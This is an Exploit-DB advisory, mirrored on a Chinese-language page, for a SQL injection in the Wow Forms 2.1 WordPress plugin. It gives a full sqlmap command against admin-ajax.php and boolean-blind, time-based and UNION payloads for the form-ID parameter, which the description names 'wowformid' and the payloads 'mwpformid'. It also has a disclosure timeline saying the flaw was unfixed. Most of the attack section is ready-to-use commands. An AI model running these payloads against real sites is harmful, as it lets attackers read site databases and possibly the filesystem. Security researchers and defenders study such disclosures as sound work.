WordPress Plugin Wow Forms 2.1 – SQL Injection

• Exploit Database
• 13 阅读

• 作者： TAD GROUP
  日期： 2017-04-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/41922/

• # Exploit Title: Wow Forms v2.1 WordPress Plugin SQL Injection
  # Date: 29/03/2017
  # Exploit Author: TAD GROUP
  # Vendor Homepage: http://wow-company.com/
  # Software Link: https://wordpress.org/plugins/mwp-forms/
  # Version: 2.1
  # Contact: info[at]tad.group
  # Website: https://tad.group
  # Category: Web Application Exploits
  
  1. Description
  
  An unescaped parameter was found in Wow Forms v2.1 (WP plugin). An attacker can exploit this vulnerability to read from the database.
  The POST parameter 'wowformid' is vulnerable.
  
  2. Proof of concept
  
  sqlmap -u "http://server/wp-admin/admin-ajax.php" --data "action=send_mwp_form&arrkey%5B%5D=mwp-field-0&arrkey%5B%5D=mwp-forms-textarea-0&arrval%5B%5D=form2&arrval%5B%5D=rrr&mwpformid=1*"--dbs --threads=10 --random-agent --dbms mysql
  
  Parameter: Array-like #6* ((custom) POST)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: action=send_mwp_form&arrkey[]=mwp-field-0&arrkey[]=mwp-forms-textarea-0&arrval[]=form2&arrval[]=rrr&mwpformid=4 AND 6968=6968
  
  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
  Payload: action=send_mwp_form&arrkey[]=mwp-field-0&arrkey[]=mwp-forms-textarea-0&arrval[]=form2&arrval[]=rrr&mwpformid=4 AND (SELECT * FROM (SELECT(SLEEP(5)))gxQa)
  
  Type: UNION query
  Title: Generic UNION query (NULL) - 65 columns
  Payload: action=send_mwp_form&arrkey[]=mwp-field-0&arrkey[]=mwp-forms-textarea-0&arrval[]=form2&arrval[]=rrr&mwpformid=4 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71766a7671,0x6b656f4d516d7a6b736f596f49746d4e776a7663716f4d41654c6e516e516c6c6c7a5274744a6d57,0x716a6b6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL— -
  
  3. Attack outcome:
  
  An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible.
  
  4. Impact
  
  Critical
  
  5. Affected versions
  
  <= 2.1
  
  6. Disclosure timeline
  
  15-Mar-2017 - found the vulnerability
  15-Mar-2017 - informed the developer
  29-Mar-2017 - release date of this security advisory
  
  Not fixed at the date of submitting this exploit.